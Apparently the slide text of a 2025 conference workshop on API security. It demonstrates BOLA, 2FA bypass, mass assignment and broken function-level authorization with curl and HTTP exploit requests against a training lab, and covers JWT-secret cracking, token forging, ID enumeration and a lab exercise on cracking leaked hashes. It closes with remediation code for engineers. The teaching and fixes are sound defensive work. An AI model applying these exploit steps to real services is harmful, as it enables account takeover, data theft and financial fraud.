APIConf 2025 · Workshop
Finding, Exploiting & Reporting Modern API Vulnerabilities —
and how engineers can actually fix them
Who is this guy?
Cybersecurity Specialist · Mobile & API Pentester
Plan for today
Why APIs are the #1 target right now. Real breach context.
Deep dive on the vulns that keep showing up in the wild.
We hack FinDemo API together. BOLA, broken auth, mass assignment.
Your turn. 4 challenges. Real flag format.
How to turn a finding into money. How engineers can actually fix this stuff.
http://lab.apiconf.workshop |
Slides: http://slides.apiconf.workshop
The problem
of web traffic is API traffic
Cloudflare 2024estimated losses to API attacks in 2023
Impervamost common attack vector for fintech breaches
Gartner 2024| Company | Vulnerability | Impact |
|---|---|---|
| Optus (AU) | Unauthenticated API endpoint exposed | 11M customer records leaked |
| T-Mobile | BOLA — change user_id in request | 37M accounts compromised |
| Peloton | Auth bypass on user profile API | 4M user records exposed |
| MTN Nigeria | IDOR — swap msisdn field in request body | Access any subscriber's account data |
| 🇳🇬 Fintech (CoFred) | Client-side amount manipulation via Burp | Arbitrary credits — infinite money glitch |
| 🇳🇬 Identity Platform | Exposed API key in mobile app → BVN lookup | Mass PII enumeration on any Nigerian |
* Full write-ups at tessal3.medium.com — names used with permission or after disclosure.
The threat landscape
| # | Vulnerability | Severity | How Common |
|---|---|---|---|
| API1 | Broken Object Level Authorization (BOLA) | Critical | 🔥🔥🔥🔥🔥 |
| API2 | Broken Authentication | Critical | 🔥🔥🔥🔥 |
| API3 | Broken Object Property Level Auth | High | 🔥🔥🔥🔥 |
| API4 | Unrestricted Resource Consumption | High | 🔥🔥🔥 |
| API5 | Broken Function Level Authorization (BFLA) | Critical | 🔥🔥🔥🔥 |
| API6 | Unrestricted Access to Sensitive Flows | High | 🔥🔥🔥 |
| API7 | Server Side Request Forgery | High | 🔥🔥 |
| API8 | Security Misconfiguration | Medium | 🔥🔥🔥🔥🔥 |
| API9 | Improper Inventory Management | Medium | 🔥🔥🔥 |
| API10 | Unsafe Consumption of APIs | Medium | 🔥🔥 |
Today we're going deep on API1, API2, API3, and API5. These are the ones I see on literally every engagement.
API1 — Most common vuln in the wild
GET /api/v1/accounts/1 HTTP/1.1
Authorization: Bearer <alice_token>
# Response — Alice's account ✓
{ "id": 1, "balance": 250000 }
# Change ID to 2 — Bob's account!
GET /api/v1/accounts/2 HTTP/1.1
Authorization: Bearer <alice_token>
# Response — Bob's account 💀
{ "id": 2, "balance": 85000 }
WHERE user_id = {token.sub}API2
Step-1 login returns a "pre-auth" JWT — but it's fully signed and the server doesn't check if 2FA was completed.
API v1 enforces TOTP. API v2 was "simplified for UX". Both exist. Attacker uses v2.
jwt.decode(token, "secret123") — crackable in seconds with hashcat.
# v1 — "secure" (has 2FA gate)
POST /api/v1/login
→ { "pre_auth_token": "eyJ...",
"requires_2fa": true }
# Just use the token directly!
GET /api/v1/accounts/1
Authorization: Bearer eyJ...
→ 200 OK 💀 2FA completely bypassed
# Or just use v2 — no 2FA at all
POST /api/v2/login
→ { "access_token": "eyJ...",
"role": "user" }
API3 + API5
API blindly binds all request body fields to the model — including ones the user shouldn't control.
# Normal registration
POST /api/v1/register
{ "username": "hacker",
"email": "h@x.io",
"password": "pass123" }
→ role: "user"
# With mass assignment exploit
POST /api/v1/register
{ "username": "hacker",
"email": "h@x.io",
"password": "pass123",
"role": "admin" } ← !!!
→ role: "admin" 💀
Admin functions exist but any user can call them — no role check.
# Hidden admin endpoint
# Found in Swagger / /docs
GET /api/v1/admin/users
Authorization: Bearer <user_token>
→ 200 OK — all users + hashes 💀
POST /api/v1/admin/transfer
Authorization: Bearer <user_token>
{ "to_account_id": 3,
"amount": 50000 }
→ Transfer successful 💀
/docs, /swagger.json, /openapi.json — developers leave these on by default.
The toolkit
Intercept, replay, fuzz. The standard. Use Repeater to manually test BOLA — just change the ID.
Community = freeImport Swagger, build collections, use environments for token management.
Free tier availableEnumerate 10,000 IDs in a loop. Automate anything that Burp makes manual.
My go-to for mass BOLADecode JWTs, check alg:none, brute-force weak secrets.
Directory / endpoint bruteforce. Find the /v2/ and /admin/ routes.
For mobile APKs — decompile to find hardcoded keys, hidden endpoints, API base URLs.
War stories — things I've actually found
The app sent {"msisdn": "0801xxxxxxx"} in the request body. I changed the number. The API returned account data for whoever's number I put in.
POST /api/subscriber/details
{"msisdn": "08012345678"} ← not my number
→ { name, balance, plan... } 💀
Reported. Fixed. Write-up: tessal3.medium.com
App sent the transaction amount to the server without server-side validation. Intercept with Burp, change amount: 100 to amount: -100. Negative amount = credit.
POST /api/transfer
{"amount": -10000, ← negative!
"to": "my_wallet"}
→ { "status": "success",
"new_balance": +10000 } 💀
Reported. Fixed. Could have wiped the company.
BVN verification API key was hardcoded in the mobile app's JavaScript bundle. With it, anyone could look up any Nigerian's BVN details — name, DOB, phone, linked banks.
jadx → grep "api_key" → profit → responsible disclosure
The login API returned the OTP code inside the response body — so the client could "verify" it locally. No server-side OTP check at all.
POST /api/v1/send-otp
→ { "otp": "482910", ← 💀
"expires_in": 300 }
Let's actually hack something
Target: FinDemo API
URL: http://lab.apiconf.workshop
Docs: http://lab.apiconf.workshop/docs
We'll do Challenge 1 & 2 together — then you tackle 3 & 4 yourself.
Demo — Challenge 1
curl -X POST http://lab.apiconf.workshop/api/v2/login \
-H "Content-Type: application/json" \
-d '{"email":"alice@findemo.io","password":"alice123"}'
# → { "access_token": "eyJ..." }
curl http://lab.apiconf.workshop/api/v1/accounts/1 \
-H "Authorization: Bearer eyJ..."
# → { "id": 1, "user_id": 1, "balance": 250000 } ✓
curl http://lab.apiconf.workshop/api/v1/accounts/2 \
-H "Authorization: Bearer eyJ..."
# → { "id": 2, "user_id": 2, "balance": 85000 } 💀 FLAG!
Demo — Challenge 2
curl -X POST http://lab.apiconf.workshop/api/v1/login \
-d '{"email":"bob@findemo.io","password":"bob456"}'
# → { "pre_auth_token": "eyJ...", "requires_2fa": true }
# Decoded payload:
{ "sub": "2", "role": "user", "exp": 1753400000 }
# It's a fully signed JWT — not a partial/limited token!
curl http://lab.apiconf.workshop/api/v1/accounts/2 \
-H "Authorization: Bearer <pre_auth_token>"
# → 200 OK 💀 Never asked for OTP!
Workshop
Lab URL: http://lab.apiconf.workshop | Docs: /docs
Mass Assignment — Become Admin
Register a new account. Find the field that lets you set your own role. Login and confirm you're admin.
Endpoint: POST /api/v1/register
Flag: Your role field should return "admin"
BFLA — Trigger Admin Transfer
Find the hidden admin transfer endpoint (hint: check /docs). Call it as a regular user. Watch the balance move.
Endpoint: Hidden — you find it
Flag: A transaction reference starting with ADMTXN-
Excessive Data Exposure
Find the endpoint that leaks password hashes for ALL users. Crack at least one MD5 hash.
Config Exposure
Find the unauthenticated debug endpoint that leaks the JWT secret. Use it to forge a token for user_id=4 (admin).
After the hack
What happens after?
For the engineers in the room
# BAD — trusts the URL parameter
def get_account(account_id: int, token):
return db.query(
"SELECT * FROM accounts WHERE id=?",
account_id
)
# GOOD — always scope to the authenticated user
def get_account(account_id: int, token):
user_id = token.sub
return db.query(
"SELECT * FROM accounts
WHERE id=? AND user_id=?",
account_id, user_id # ← ownership check
)
# BAD — binds everything from request
user = User(**request.json)
# GOOD — explicit field whitelist
class RegisterSchema(BaseModel):
username: str
email: str
password: str
# role intentionally NOT here
# Add role checks on admin routes
@require_role("admin")
def admin_transfer(body, token):
...
For the engineers
token.sub == resource.owner_id**kwargs/docs on productionKeep learning
(legally, with permission, and write a good report afterwards)
tessal3.medium.com
lab.apiconf.workshop
slides.apiconf.workshop
APIConf 2025 · July 24 · Workshop by Tes Salawu